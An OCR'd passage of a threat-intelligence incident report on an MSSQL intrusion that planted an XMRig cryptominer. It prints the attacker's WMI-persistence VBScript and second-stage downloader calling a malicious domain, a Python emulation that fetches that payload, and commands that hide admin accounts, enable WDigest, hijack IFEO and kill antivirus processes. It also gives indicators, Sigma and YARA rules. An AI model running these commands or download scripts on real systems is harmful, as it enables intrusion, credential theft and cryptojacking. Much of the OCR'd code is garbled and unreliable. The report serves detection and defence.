r\ng() Set objFsO Crca(cﬂb](‘((‘\“Scrw()nq F)lcSystcmDh]c((\ ) mnd)r = DDJFSD Gc(SDc()a\Fn\dcrlGJ If nbjFSﬂ FJ\eEx)s(s[dexr + \“\\wbzmﬂkb log\") Then:Set f = objFS0. ﬂpchcxtFl\c(mndJr + \"\\wb2010kb. \og\“ 1,1 Fa\scl.s\og f.ReadLine():f.Close:Set objFSO = Nc(n)ng rlog
irlog = - \'Script: ") :windir = objFS0.GetSpecialrolder(0)sSet f = objFS0.0penTextFile(windir + \"\\temp\\dfvt.10g\",2,True) : f.uiriteLine str2:f.Close():Set objFS0 = Nothin
Function:Function UTCtnNowMDY If Not IsNull(nD) Then:Set SWDT = Crea(ebbje(((\"wb:mscrw()"g waeml)a(ehme\") SWDT.Value = nD:UTCtoNow = SWDT.GetVarDate(True):End If:End Function:Function StoHMS(Sec):H = Int(Sec/3600) :H1 = Sec Mod 360¢ = Int(H1/6@) :S = H1 Mod 60:StoHMS =
ction:Function yxsj ():strComputer = \".\" :Set objWNIService = GetObject(\"winmgnts:\\\\" & strConputer & \"\\root\\CTHV2\") :Set colitens = objWMIService. ExecQuery(\"SELECT * FROM Win32_Operatingsysten\", ,ds) :For Each objItem In colltens :yxsj = Sto¥S(DateDiff(\"s\",
i

" & nuncpus & \" o

1 To num:If j = nun Then:newdata = newdata &

slogiExit

UTCoNon(ob]TEen. LastBootUpTine) s Now(1))1Exit Function:Next 1End Function:Function dethost():Set GbjFS0 = CreateObject(\"Scripting. FAlesystendoscetun) windir = objFso.GetSpecialFalder (0):Lf abyFso.Fi v ") Then:objFS0.DeleteFile windir +
\"\\systen32\\drivers\\etc\\hosts\", True:End If:Set 0bjFSO = Nothing:End Function";
b

Instance of __EventFilter as SFILTER
<

CreatorSID(l = {1, 2, 0, 0, 0, ©, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};
Name = "EFWMAr";
EventNamesnzm 00t\\Cimv2";
"SELECT * FROM __] WITHIN 5 WHERE ISA \"Win32_LocalTime\" AND Hour=23 AND Minute=2 AND TargetInst.
QueryLanguage = HOL"s

Instance of __FilterToConsunerBinding as $BINDING

<
CreatorsIO(l = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};
Filter = $FILTER;
Consumer = SCONSUMER;

class MyASEventConsuner

<

[key] Name;
W

Instance of __EventFilter as $FILTERC

(reeturSlD[] 1,2,0,0,0,00,5 32000, 32, 20,0}

Femtecr # FROM _InstanceCreat ionévent WHERE TargetInstance. _class = \"MNyASEventConsuner\"";
QueryLanguage = "WOL";
b

Instance of __FilterToConsunerBinding as $BINDINGC

CreatorsID(l = {1, 2, 0, 0, 0, @, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};
Filter = $FILTERC;
Consumer = SCONSUMER;

Instance of MyASEventConsuner

Name = "Trier";

b

Decompiled .mof file containing the WMI event subscription.

Breaking down the above screenshot, the WMI event subscription contains the below
malicious EventConsumer and EventFilter classes:

Event Consumer:

e Class Name: ASEventConsumerdr
o Content: VBScript

Event Filter:

e Name: EFNMdr (randomly named)
o Trigger: Every day at 23:00 local time

Looking into the VBScript, we notice that it is reaching out to the domain mymst007][.]Jinfo on
port 4000 to download one more file and save it as temp file.

1. WMI EventConsumer VBScript:
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Set x=CreateObject("WinHttp.WinHttpRequest.5.1")

X.0pen "GET","http://mst2.mymst@@7.info:4000/j17info=" & en(str) ,0
x.Send()

End If

If rhfs Then execmydler()

Function execmydler()

delhost

Set P=CreateObject("WinHttp.WinHttpRequest.5.1")
P.Open|"GET","http://mst2.mymst@B7.info:4000/ex?e=1",0 |

P.Send() .

bap. responseText Downloading 2nd stage
M=Split(b,",",-1,1)

For Each Od In M

Nd=Nd+Chr{0d-2)

Next

We used the below python code to emulate the VBScript and download the next stage
payload:

import requests

chars = []
text = ""

response = requests.get("http://mst2.mymst007.info0:4000/ex?e=1")

body = response.text.split(',")
for i in body:
chars.append(int(i) - 2)

for i in chars:
text = text + chr

1. Second stage payload downloaded and executed:

on error resume next:

windir=CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2).ShortPath: R .

Set sh=CreateObject("Wscript.Shell"): 0 Downloadlng VBE Scrlpt
dl "http://http.mymst@@7.info:4000/21/jkH7e=1" ,windir + "\\xw2.tmp":

sh.run "cmd.exe /c cscript.exe /b /e:VBScript.Encode " + windir + "\\xw2.tmp 579562847 & del /f/q " + windir + "\\xw2.tmp",@:
Function dl{u,f): . . . .

Dim xHttp: o 2 Executing VBE script via cscript.exe
Set xHttp = CreateObject("WinHttp.WinHttpRequest.5.1"):

Dim bStrm:

Set bStrm = CreateObject("Adodb.Stream"):

xHttp.Open “GET",u, ©:

xHttp.Send:

With bStrm:

.type = 1: . . . .

.open: xw2.tmp is the same file as file named "xit" from the
.write xHttp.responseBody: execution section
.savetofile f,2:

.close:

End With:

End Function'
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The final method of persistence we observed was the addition of an entry into the Image File
Execution Option (IFEQ) registry key. By changing the Debugger value to a different
executable, an attacker used IFEO to launch a program other than the intended one. In this
case, threat actors modified the below registry key to launch the miner executable
(smss.exe) instead of the svchost.exe binary.

"cmd.exe" /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\smss.exe" /f /v Debugger /t REG_SZ /d
"C:\windows\system32\svchost.exe

Privilege Escalation

The threat actors dropped a file named bigfile.txt which they used certutil to convert to
bigfile.exe which we believe is a variation of NetworkServiceExploit.exe as seen below.
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pid to

LE LOGON[-] Fail
f it

ith error c

This was used in this intrusion to run the batch file with the following command:

"cmd.exe" /c %USERPROFILE%\AppData\bigfile.exe -1 -c %USERPROFILE%\AppData\l.bat

Defense Evasion

The threat actors attempted to kill antivirus tasks that could be running on the host. The
commands targeted the below processes:
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QQPCTray.exe
QQPCRTP.exe

QQPCMgr .exe

kavsvc.exe

alg.exe

AVP.exe
SafeDogGuardCenter .exe
SafeDogSiteIlIS.exe
SafeDogUpdateCenter.exe
SafeDogServerUI.exe
kxescore.exe
kxetray.exe
360safe.exe

360sd.exe

360rp.exe

360rps.exe

360tray.exe
ZhubDongFangYu.exe

The privilege escalation tool the threat actors brought with them was written as a text file and
then decoded using certutil into a binary file.

"cmd.exe" /c certutil -decode %USERPROFILE%\AppDatal\bigfile.txt
%USERPROFILE%\AppData\bigfile.exe

As we can see from the contents of the 1.bat script, the threat actors are adding a new local
administrator user and they proceed with hiding the user account by adding it to the registry
using “Special Accounts®.

REG ADD "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v Adminv$ /t REG_DWORD /d ©

Through the execution of the initial batch script, 1.bat, they also disabled the User Access
Control(UAC) remote restriction by setting the registry key value to “1”.

reg add

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Threat actors also enabled Wdigest.

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

After many files were added to the system the threat actors included commands to remove
them once their execution was finished.

"cmd.exe" /c DEL %USERPROFILE%\AppData\l.bat
"cmd.exe" /c DEL %USERPROFILE%\AppDatal\bigfile.txt
"cmd.exe" /c DEL %USERPROFILE%\AppData\bigfile.exe
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Credential Access

During the initial access credentials were obtained via a brute-force attack against the
exposed MSSQL server. No other credential access was observed during this intrusion,
although the threat actors did enable WDigest to make later credential access easier.

Command and Control

We observed that the domain mymst007[.]info is used to download further payloads. The
domain was created five years ago. We have seen similar reports that make mention of the
same infrastructure. Attacks associated with this domain include the same or similar tactics
techniques and procedures (TTPs).

D ge-bondnet_detect.vbs

vvvvv

S/ .R e ﬁ' 314dc759821ab6d7e6e623cc5c827b8d 109be96b68fcfI2edce6eTb2cob1
u ntacte m WL[  domain) ﬁ wmi-instance-script.txt (1e4fdd4670ddb98286ed 18bb3940c812215b2e5bda088658c9e397667000391f)
Ummnnn ating h
/ D 563d88 1df58cTfecc6bd8e228cd6f} 1feSblefb2 dc779¢70¢e1
' f
CSRSS.cxc o D 1c4968542398170196745be19e47d758de50f0f22e2ed3¢247a200857(6105f
AN

," “. . s
f EC! http://mst.mymst007.info/

/ e
E_("g http://mst.mymst007.info:8080/alld]asp
¥

E!, hitp://mst2 mymst007.info/ E‘:]‘; http://mst.mymst007.infofperp20 1 7home2/perpsrv2017a.cxe

\E:L,, hup //mst2 mymst007 info:4000/ver

Connections related to the domain — mymst007[.]Jinfo

Impact

The impact was concentrated on this one host. We did not see any further activity in this
case. The compromised host had XMRig miner installed and running. The miner was also
connecting to cryptomining pool such as minergate[.Jcom.

Indicators

File
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WinRingOx64.sys

0c0195c48b6b8582fa6f6373032118da
d25340ae8e92a6d29f599fef426a2bc1b5217299
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ees

ex.exe

a7bafacbed29a68e0fff6eecc3f5bb3f
4f19b6970e35b3d20T84a91e3af0d82c68096710
428d06c889b17d5f95f9df952fc13blcdd8ef520c51e2abff2f9192aa78a4b24

kit.bat

91931a2b1ae645004023e1b35fe57314
9f5a7a293c92ef42374cf1471b653ed994446¢c15
4905b7776810dc60e710af96a7e54420aaal5467ef5909b260d9a9bc46911186

sSmss.exe

e579cd176b384b38eda6adc61c51c274
8a3b31acl2d9ac1a44707b1de75b8870189dbh83a
d3c3f529a09203a839b41cd461cc561494b432d810041d71d41a66ee7d285d69

xit

88fbadl1db6e5122f4aa2c0343e11275
a2d34aeee2fb7cl1bab57a11c03cc33e7611217548
cfal2bb31d58d30875b7a20ed05b5c100032b6al18802fbdf3913e70288e11a55

xitmf

0c8622c4871541e89d0173d5be0®db8aa
b01a88df39857417233d9bd325682d0fdcc63f8
beda317d74b8f1090e251205064e686d330a0502006a54dc94d528d6bd16c416

Network

minergate[.]com
mymst@O7[.]info
[email protected]

Detections

Sigma

Custom Sigma rules

Suspicious Commands by SQL Server

MOFComp Execution

Hiding Local User Accounts

SigmaHQ
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System File Execution Location Anomaly —
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creati
on_win_system_exe_anomaly.yml

Suspicious Shells Spawn by SQL Server —
https://github.com/SigmaHQ/sigma/edit/master/rules/windows/process_creation/proc_creatio
n_win_susp_shell_spawn_from_mssqgl.yml

Suspicious Execution of Taskkill —
https://github.com/SigmaHQ/sigma/blob/04a3dfeb019fb326a2a411e87049c4a59d81bfb5/rule
s/windows/process_creation/proc_creation_win_susp_taskkill.yml

Net.exe User Account Creation —
https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rul
es/windows/process_creation/proc_creation_win_net_user_add.yml

W(digest Enable UselLogonCredential —
https://github.com/SigmaHQ/sigma/blob/b4cb047ae720b37b11f8506de7965dc29d5920be/rul
es/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml

DNS Events Related To Mining Pools —
https://github.com/SigmaHQ/sigma/blob/578c838277fdba88704ff3fed3268e87bd7277e0/rule
s/network/zeek/zeek_dns_mining_pools.yml

Yara
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rule miner_batch {

meta:

description = "file kit.bat"

author = "TheDFIRReport"

reference = "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/"
date = "2022/07/10"

hashl = "4905b7776810dc60e710af96a7e54420aaal5467ef5909b260d9a9bc46911186"

strings:
$al = "%~dps@" fullword ascii
$a2 = "set app" fullword ascii
$a3 = "cd /d \"%~dpsO\"" fullword ascii
$a4 = "set usr=jood" fullword ascii
$s1 = "schtasks /run" fullword ascii
$s2 = "schtasks /delete" fullword ascii
$a5 = "if \"%1\"==\"-s\" (" fullword ascii
condition:

uint16(0) == oxfeff and filesize < 1KB and
3 of ($a*) and 1 of ($s*)

rule file_ex_exe {

meta:

description = "files - file ex.exe.bin"

author = "TheDFIRReport"

reference = "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/"
date = "2022/07/10"

hashl = "428d06c889b17d5f95f9df952fc13blcdd8ef520c51e2abff2f9192aa78a4b24"
strings:

$s1 = "d:\\Projects\\WinRAR\\rar\\build\\unrar32\\Release\\UnRAR.pdb" fullword
ascii

$s2 = "rar.log" fullword wide

$s3 = " <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>"
fullword ascii

$s4 = " processorArchitecture=\"*\"" fullword ascii

$s5 = "%cucwrcrcrcrcrc" fullword wide /* reversed goodware string
'c%CHCIHCHCHCHCH' */

$s6 = " version=\"1.0.0.0\"" fullword ascii

$s7 = "%121s: RAR %ls(v%d) -m%d -md=%d%s" fullword wide

$s8 = " hp[password] " fullword wide

$s9 = " %s - " fullword wide

$s10 = "yyyymmddhhmmss" fullword wide

$s11 = "-------- %2d %s %d, " fullword wide

$s12 = " Type Descriptor'" fullword ascii

$s13 = "\\$\\3|$4" fullword ascii /* hex encoded string '4' */

$s14 = " processorArchitecture=\"*\"" fullword ascii

$s15 = " constructor or from Dl11lMain." fullword ascii

$SA6 = M-mmmimmm oo m eeeeooe oooaan oo ----" fullword wide

BSA7 = M e e e eeeee e mmeme memen eeeea-- -
fullword wide

$s18 = "%-20s - " fullword wide

$s19 = " publicKeyToken=\"6595b64144ccf1df\"" fullword ascii
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$s20 = " version=\"6.0.0.0\"" fullword ascii
condition:

uint16(0) == Ox5a4d and filesize < 900KB and

8 of them

rule smss_exe {
meta:
description = "files - file smss.exe.bin"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/"
date = "2022/07/10"
hashl = "d3c3f529a09203a839b41cd461cc561494b432d810041d71d41a66ee7d285d69"
strings:
$s1 = "mCFoCRYPT32.d1l1l" fullword ascii
$s2 = "gPSAPI.DLL" fullword ascii
$s3 = "www.STAR.com" fullword wide
$s4 = "4,;#pMVKWTSAPI32.d1l1" fullword ascii

$s5 = " <requestedExecutionLevel level=\"asInvoker\"/>" fullword ascii
$s6 = "dYDT.Gtm" fullword ascii
$s7 = "|PgGeT~A" fullword ascii

$s8 = "* IiJ)" fullword ascii

$s9 = "{D11B8qq" fullword ascii

$s10 = "tfagbjk" fullword ascii

$s11 = "nrvgzgl" fullword ascii

$s12 = " <!--The ID below indicates application support for Windows 10 --
>" fullword ascii

$s13 = "5n:\\Tk" fullword ascii

$s14 = " </compatibility>" fullword ascii

$s15 = "HHp.JOW" fullword ascii

$s16 = " <!--The ID below indicates application support for Windows 8 -->"
fullword ascii

$s17 = " <!--The ID below indicates application support for Windows 7 -->"
fullword ascii

$s18 = "Wr:\\D;" fullword ascii

$s19 = "px:\"M$" fullword ascii

$s20 = " <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">" fullword
ascii

condition:

uint16(0) == O0x5a4d and filesize < 23000KB and

8 of them
}

rule WinRing0x64_sys {
meta:
description = "files - file WinRing0x64.sys.bin"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/"
date = "2022/07/10"
hashl = "11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"
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strings:
$s1 = "d:\\hotproject\\winring@\\source\\d1l1\\sys\\1lib\\amd64\\WinRing0®.pdb"
fullword ascii

$s2 = "WinRing0@.sys" fullword wide
$s3 = "[email protected]" fullword ascii
$s4 = "\"GlobalSign Time Stamping Authorityl1+0)" fullword ascii
$s5 = "\\DosDevices\\WinRing0_1 2 0" fullword wide
$s6 = "OpenLibSys.org" fullword wide
$s7 = ".http://crl.globalsign.net/RootSignPartners.crl@" fullword ascii
$s8 = "Copyright (C) 2007-2008 OpenLibSys.org. All rights reserved." fullword
wide
$s9 = "1.2.0.5" fullword wide
$s10 = " Microsoft Code Verification Root®" fullword ascii
$s11 = "\\Device\\WinRing®_1_2_ 0" fullword wide
$s12 = "WinRing@" fullword wide
$s13 = "[email protected]" fullword ascii
$s14 = "GlobalSigni+0)" fullword ascii
$s15 = "Noriyuki MIYAZAKI1(0&" fullword ascii
$s16 = "The modified BSD license" fullword wide
$s17 = "RootSign Partners CA1" fullword ascii
$s18 = "\\/.gJ&" fullword ascii
$s19 = "14012709" ascii
$s20 = "140127110000Z20q1(0&" fullword ascii
condition:
uint16(0) == Ox5a4d and filesize < 40KB and
8 of them
}
MITRE

T1053.005 - Scheduled Task/Job: Scheduled Task

T1136.001 - Create Account: Local Account

T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event
Subscription

T1564.
T1059.
T1027.
T1110.
T1070.
T1562.
T1546.
T1140

T1112

T1078

T1134.

002
003
004
001
004
001
012

Hide Artifacts: Hidden Users

Command and Scripting Interpreter: Windows Command Shell
Obfuscated Files or Information: Compile After Delivery

Brute Force: Password Guessing

Indicator Removal on Host: File Deletion

Impair Defenses: Disable or Modify Tools

Event Triggered Execution: Image File Execution Options Injection

- Deobfuscate/Decode Files or Information
- Modify Registry

- Valid Accounts

001 - Token Impersonation/Theft

Internal case #12780
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